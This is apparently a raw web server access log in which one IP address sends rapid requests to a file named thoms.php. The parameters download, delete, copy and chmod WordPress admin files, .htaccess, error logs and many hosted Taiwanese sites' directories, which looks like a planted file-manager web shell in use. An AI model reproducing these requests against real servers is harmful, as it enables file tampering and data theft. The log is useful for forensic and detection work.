45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-head.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-head.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /bft.com.tw/wp-admin/options-permalink.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /bft.com.tw/wp-admin/options-writing.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /bft.com.tw/wp-admin/export.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?dl=plugin-install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28633 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28624 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?del=network&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28634 "http://163.245.207.76:443/thoms.php?del=network&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /bft.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /bft.com.tw/wp-admin/term.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28626 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /bft.com.tw/wp-admin/theme-install.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?chmod=theme-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?chmod=includes&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=includes&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?del=custom-background.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28638 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?dl=admin-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28638 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:37 -0400] "GET /thoms.php?chmod=error_log&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 200 15046 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?del=import.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28635 "http://163.245.207.76:443/thoms.php?del=import.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?del=link.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28638 "http://163.245.207.76:443/thoms.php?del=link.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 200 27888 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?dl=admin-functions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28637 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?dl=credits.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28638 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28639 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?dl=install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28638 "http://163.245.207.76:443/thoms.php?dl=install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:38 -0400] "GET /thoms.php?dl=ms-sites.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28639 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /thoms.php?dl=ms-users.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28639 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /thoms.php?chmod=freedoms.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/wp-admin/site-health.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /thoms.php?chmod=site-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/wp-admin/user-new.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 200 11960 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 200 46124 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 200 23790 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?p= HTTP/1.1" 200 19108 "https://163.245.207.76/bft.com.tw/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 11962 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?p= HTTP/1.1" 200 19106 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 19106 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 19100 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17403 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17290 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 19099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 11976 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:39 -0400] "GET /bft.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 11990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 19128 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 11977 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 19097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 11968 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p= HTTP/1.1" 200 19109 "https://163.245.207.76/bft.com.tw/thoms.php?chmod=ba-guo.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 11998 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 11991 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 12841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 19107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 12390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 11980 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 19027 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?p= HTTP/1.1" 200 19108 "https://163.245.207.76/bft.com.tw/thoms.php?copy=ba-guo.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:40 -0400] "GET /bft.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 11991 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
